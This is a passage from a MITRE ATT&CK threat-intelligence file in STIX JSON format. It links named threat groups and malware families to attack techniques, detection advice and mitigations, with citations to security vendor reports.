Zebrocy Nov 2018)", "relationship_type": "uses", "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c4a566d6-69ce-4284-809d-433663e3e2fa", "type": "relationship", "created": "2020-03-19T22:19:04.578Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT39 Jan 2019", "url": "https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html", "description": "Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019."}], "modified": "2020-03-19T22:19:04.578Z", "description": "[APT39](https://attack.mitre.org/groups/G0087) has used Ncrack to reveal credentials.(Citation: FireEye APT39 Jan 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80", "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c4a8a9ea-c24a-4ddf-9451-5855da9a4251", "type": "relationship", "created": "2019-03-25T15:05:23.667Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. 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(2016, September 5). Pok\u00e9mon-themed Umbreon Linux Rootkit Hits x86, ARM Systems. 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Retrieved August 22, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "Monitor and analyze calls to functions such as  `GetProcAddress()` that are associated with malicious code obfuscation.(Citation: Huntress API Hash)", "modified": "2022-08-23T15:50:22.609Z", "relationship_type": "detects", "source_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--c4de34ea-99de-4850-817d-f9f2915bc7bd", "created": "2021-09-29T15:41:18.405Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "AhnLab Andariel Subgroup of Lazarus June 2018", "description": "AhnLab. (2018, June 23). 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Retrieved February 24, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[IronNetInjector](https://attack.mitre.org/software/S0581) has the ability to inject a DLL into running processes, including the [IronNetInjector](https://attack.mitre.org/software/S0581) DLL into explorer.exe.(Citation: Unit 42 IronNetInjector February 2021 )", "modified": "2022-05-20T17:02:59.597Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "tool--b1595ddd-a783-482a-90e1-8afc8d48467e", "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--c4e70046-dbed-4e21-8a00-37bbb6de5bc4", "created": "2023-02-21T19:38:48.002Z", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-02-21T19:38:48.002Z", "description": "Use multi-factor authentication on cloud services whenever possible.", "relationship_type": "mitigates", "source_ref": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0", "target_ref": "attack-pattern--8861073d-d1b8-4941-82ce-dce621d398f0", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c4e81078-28b4-4a68-a946-458f4d122e39", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.youtube.com/watch?v=fevGZs0EQu8", "description": "Bromiley, M. and Lewis, P. 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(2020, May 12). Tropic Trooper\u2019s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."}], "modified": "2020-05-21T14:55:00.235Z", "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) has used a copy function to automatically exfiltrate sensitive data from air-gapped systems using USB storage.(Citation: TrendMicro Tropic Trooper May 2020)\t", "relationship_type": "uses", "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", "target_ref": "attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--c4f4fe39-af57-47d3-8428-fe5bce63bdbb", "created": "2019-06-17T18:43:35.447Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "TrendMicro TropicTrooper 2015", "description": "Alintanahin, K. (2015). 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Retrieved May 21, 2020."}, {"source_name": "Malwarebytes RokRAT VBA January 2021", "url": "https://blog.malwarebytes.com/threat-analysis/2021/01/retrohunting-apt37-north-korean-apt-used-vba-self-decode-technique-to-inject-rokrat/", "description": "Jazi, Hossein. (2021, January 6). Retrohunting APT37: North Korean APT used VBA self decode technique to inject RokRat. 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(2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"}], "modified": "2021-12-06T20:45:13.943Z", "description": "[Dragonfly](https://attack.mitre.org/groups/G0035) has accessed email accounts using Outlook Web Access.(Citation: US-CERT TA18-074A)", "relationship_type": "uses", "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1", "target_ref": "attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c4f9c2ad-f740-4b08-9788-c058b98f2094", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "EFF Manul Aug 2016", "description": "Galperin, E., Et al.. (2016, August). I Got a Letter From the Government the Other Day.... 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Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).", "source_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", "target_ref": "attack-pattern--1b20efbf-8063-4fc3-a07d-b575318a301b", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--c507e487-2213-46de-87fa-9879b31995b7", "created": "2022-03-30T14:26:51.866Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-07-06T12:33:35.989Z", "description": "Monitor executed commands and arguments that may indicate common cryptomining or proxyware functionality.", "relationship_type": "detects", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--cd25c1b4-935c-4f0e-ba8d-552f28bc4783", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c5087d19-7d99-4106-9dc7-407c7de710be", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Pasam May 2012", "description": "Mullaney, C. & Honda, H. (2012, May 4). Trojan.Pasam. Retrieved February 22, 2018.", "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-050412-4128-99"}], "modified": "2020-02-11T19:38:06.257Z", "description": "[Pasam](https://attack.mitre.org/software/S0208) creates a backdoor through which remote attackers can retrieve information such as hostname and free disk space.(Citation: Symantec Pasam May 2012)", "relationship_type": "uses", "source_ref": "malware--e811ff6a-4cef-4856-a6ae-a7daf9ed39ae", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c50c585a-b5c4-41c7-91a2-b6bb14b7e1f0", "type": "relationship", "created": "2019-01-30T16:39:54.305Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/", "source_name": "PaloAlto CardinalRat Apr 2017"}], "modified": "2019-06-10T18:25:51.585Z", "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) can collect the hostname, Microsoft Windows version, and processor architecture from a victim machine.(Citation: PaloAlto CardinalRat Apr 2017)", "relationship_type": "uses", "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c50f75fe-e7a9-4190-9ca8-a28187955669", "type": "relationship", "created": "2020-03-17T00:38:52.139Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos Cobalt Group July 2018", "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.", "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html"}, {"source_name": "PTSecurity Cobalt Dec 2016", "description": "Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.", "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf"}, {"source_name": "Group IB Cobalt Aug 2017", "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.", "url": "https://www.group-ib.com/blog/cobalt"}], "modified": "2020-03-17T00:38:52.139Z", "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has used the Plink utility to create SSH tunnels.(Citation: Talos Cobalt Group July 2018)(Citation: PTSecurity Cobalt Dec 2016)(Citation: Group IB Cobalt Aug 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", "target_ref": "attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c50fd202-d4af-4157-b368-b4525af075c1", "type": "relationship", "created": "2019-01-29T18:55:20.860Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Fortinet Remcos Feb 2017", "url": "https://www.fortinet.com/blog/threat-research/remcos-a-new-rat-in-the-wild-2.html", "description": "Bacurio, F., Salvio, J. (2017, February 14). REMCOS: A New RAT In The Wild. Retrieved November 6, 2018."}, {"source_name": "Talos Remcos Aug 2018", "url": "https://blog.talosintelligence.com/2018/08/picking-apart-remcos.html", "description": "Brumaghin, E., Unterbrink, H. (2018, August 22). Picking Apart Remcos Botnet-In-A-Box. Retrieved November 6, 2018."}], "modified": "2020-03-16T17:38:09.364Z", "description": "[Remcos](https://attack.mitre.org/software/S0332) has a command for keylogging.(Citation: Fortinet Remcos Feb 2017)(Citation: Talos Remcos Aug 2018)", "relationship_type": "uses", "source_ref": "tool--7cd0bc75-055b-4098-a00e-83dc8beaff14", "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--c516fa38-8bf4-4e8a-af64-09f6973825e6", "created": "2024-01-17T20:07:24.255Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Kaspersky ToddyCat June 2022", "description": "Dedola, G. (2022, June 21). APT ToddyCat. Retrieved January 3, 2024.", "url": "https://securelist.com/toddycat/106799/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-05T21:31:10.573Z", "description": "[Ninja](https://attack.mitre.org/software/S1100) has the ability to mimic legitimate services with customized HTTP URL paths and headers to hide malicious traffic.(Citation: Kaspersky ToddyCat June 2022)", "relationship_type": "uses", "source_ref": "malware--023254de-caaf-4a05-b2c7-e4e2f283f7a5", "target_ref": "attack-pattern--c325b232-d5bc-4dde-a3ec-71f3db9e8adc", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c51741a8-7c08-4d6e-9d6a-02da7cc8cc83", "type": "relationship", "created": "2019-04-12T15:20:35.915Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT38 Oct 2018", "url": "https://content.fireeye.com/apt/rpt-apt38", "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018."}], "modified": "2019-09-09T19:10:53.504Z", "description": "[APT38](https://attack.mitre.org/groups/G0082) has used DYEPACK.FOX to manipulate PDF data as it is accessed to remove traces of fraudulent SWIFT transactions from the data displayed to the end user.(Citation: FireEye APT38 Oct 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", "target_ref": "attack-pattern--32ad5c86-2bcf-47d8-8fdc-d7f3d79a7490", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--c51d9123-7f7e-41e6-8cf7-7c7dc4170ca0", "created": "2020-05-13T16:45:50.311Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "CrowdStrike Grim Spider May 2019", "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020.", "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/"}, {"source_name": "Mandiant FIN12 Oct 2021", "description": "Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.", "url": "https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-12T14:30:20.664Z", "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has exfiltrated domain credentials and network enumeration information over command and control (C2) channels.(Citation: CrowdStrike Grim Spider May 2019)(Citation: Mandiant FIN12 Oct 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c51dce73-f92b-4eaa-b00b-4466f3e3ae09", "type": "relationship", "created": "2021-04-13T19:29:21.144Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Secureworks BRONZE PRESIDENT December 2019", "url": "https://www.secureworks.com/research/bronze-president-targets-ngos", "description": "Counter Threat Unit Research Team. (2019, December 29). BRONZE PRESIDENT Targets NGOs. Retrieved April 13, 2021."}], "modified": "2021-04-13T19:29:21.144Z", "description": "[Mustang Panda](https://attack.mitre.org/groups/G0129) used custom batch scripts to collect files automatically from a targeted system.(Citation: Secureworks BRONZE PRESIDENT December 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4", "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--c51de2e2-e36c-4716-b77a-7b35496049a3", "created": "2023-09-26T18:37:41.291Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "MoustachedBouncer ESET August 2023", "description": "Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.", "url": "https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-12T17:41:54.485Z", "description": "[MoustachedBouncer](https://attack.mitre.org/groups/G1019) has used plugins to save captured screenshots to `.\\AActdata\\` on an SMB share.(Citation: MoustachedBouncer ESET August 2023)", "relationship_type": "uses", "source_ref": "intrusion-set--7251b44b-6072-476c-b8d9-a6e32c355b28", "target_ref": "attack-pattern--359b00ad-9425-420b-bba5-6de8d600cbc0", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--c5235912-5f32-4bf6-933c-a5acb63f1dab", "created": "2022-06-16T19:28:49.048Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure) from a trusted entity. Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).", "modified": "2022-06-16T19:28:49.048Z", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", "target_ref": "attack-pattern--9fa07bef-9c81-421e-a8e5-ad4366c5a925", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c52eb151-c8c5-45f1-984b-d99a12ca05cf", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2016/2016.02.29.Turbo_Campaign_Derusbi/TA_Fidelis_Turbo_1602_0.pdf", "description": "Fidelis Cybersecurity. (2016, February 29). The Turbo Campaign, Featuring Derusbi for 64-bit Linux. Retrieved March 2, 2016.", "source_name": "Fidelis Turbo"}], "modified": "2019-08-16T18:52:50.624Z", "description": "[Derusbi](https://attack.mitre.org/software/S0021) binds to a raw socket on a random source port between 31800 and 31900 for C2.(Citation: Fidelis Turbo)", "relationship_type": "uses", "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344", "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c5331cc2-89e2-40e2-a8b4-7a00198df492", "type": "relationship", "created": "2022-03-22T17:29:00.915Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft NICKEL December 2021", "url": "https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe", "description": "MSTIC. (2021, December 6). NICKEL targeting government organizations across Latin America and Europe. Retrieved March 18, 2022."}], "modified": "2022-03-22T17:29:00.915Z", "description": "[Neoichor](https://attack.mitre.org/software/S0691) can use the Internet Explorer (IE) COM interface to connect and receive commands from C2.(Citation: Microsoft NICKEL December 2021)", "relationship_type": "uses", "source_ref": "malware--4d7bf2ac-f953-4907-b114-be44dc174d67", "target_ref": "attack-pattern--2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c535d995-bafd-47a3-9417-26e2e1080eb7", "type": "relationship", "created": "2020-01-24T15:51:52.478Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-01-24T15:51:52.478Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--61afc315-860c-4364-825d-0d62b2e91edc", "target_ref": "attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c53a4d1a-7d41-451e-a4f8-4f69ad27ab7d", "type": "relationship", "created": "2021-04-12T16:15:42.609Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "BlackBerry Bahamut", "url": "https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-spark-bahamut.pdf", "description": "The BlackBerry Research & Intelligence Team. (2020, October). BAHAMUT: Hack-for-Hire Masters of Phishing, Fake News, and Fake Apps. Retrieved February 8, 2021."}], "modified": "2021-05-24T13:16:56.588Z", "description": "[Windshift](https://attack.mitre.org/groups/G0112) has used WMI to collect information about target machines.(Citation: BlackBerry Bahamut)", "relationship_type": "uses", "source_ref": "intrusion-set--afec6dc3-a18e-4b62-b1a4-5510e1a498d1", "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c53e4807-05e4-46d2-9cb9-fd6301ac3738", "type": "relationship", "created": "2020-02-11T18:42:35.660Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-02-11T18:42:35.660Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24", "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--c5401268-6b27-4088-9f2e-5439f68685d9", "created": "2020-03-17T00:03:03.734Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Bitdefender Agent Tesla April 2020", "description": "Arsene, L. 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(2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019."}, {"description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.", "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/", "source_name": "ESET Zebrocy May 2019"}, {"source_name": "CISA Zebrocy Oct 2020", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303b", "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303B). Retrieved December 9, 2020."}], "modified": "2020-12-09T21:54:33.971Z", "description": "[Zebrocy](https://attack.mitre.org/software/S0251) has a command to delete files and directories.(Citation: ESET Zebrocy Nov 2018)(Citation: ESET Zebrocy May 2019)(Citation: CISA Zebrocy Oct 2020)", "relationship_type": "uses", "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c56de8bc-ad9e-415a-8840-ae294ed4f88a", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "MalwareTech Power Loader Aug 2013", "description": "MalwareTech. (2013, August 13). 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Retrieved March 30, 2017.", "url": "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/"}], "modified": "2020-03-16T17:16:53.367Z", "description": "[MoonWind](https://attack.mitre.org/software/S0149) obtains the victim IP address.(Citation: Palo Alto MoonWind March 2017)", "relationship_type": "uses", "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--c587fc65-b591-4a23-bb5a-f2971c427ba0", "created": "2022-03-25T15:47:13.791Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "TrendMicro BlackTech June 2017", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/", "description": "Bermejo, L., et al. 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Retrieved May 5, 2020."}], "x_mitre_deprecated": false, "revoked": false, "description": "[PLEAD](https://attack.mitre.org/software/S0435) can use `ShellExecute` to execute applications.(Citation: TrendMicro BlackTech June 2017)", "modified": "2022-04-06T14:12:11.758Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--b57f419e-8b12-49d3-886b-145383725dcd", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c5892089-9b2f-4cb4-89a9-16794d0945b2", "type": "relationship", "created": "2022-03-30T14:26:51.839Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.839Z", "description": "Monitor logs for actions that could be taken to gather information about container infrastructure, including the use of discovery API calls by new or unexpected users. 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Four Distinct Families of Lazarus Malware Target Apple\u2019s macOS Platform. Retrieved August 7, 2020."}, {"source_name": "TrendMicro macOS Dacls May 2020", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-dacls-rat-backdoor-show-lazarus-multi-platform-attack-capability/", "description": "Mabutas, G. (2020, May 11). New MacOS Dacls RAT Backdoor Shows 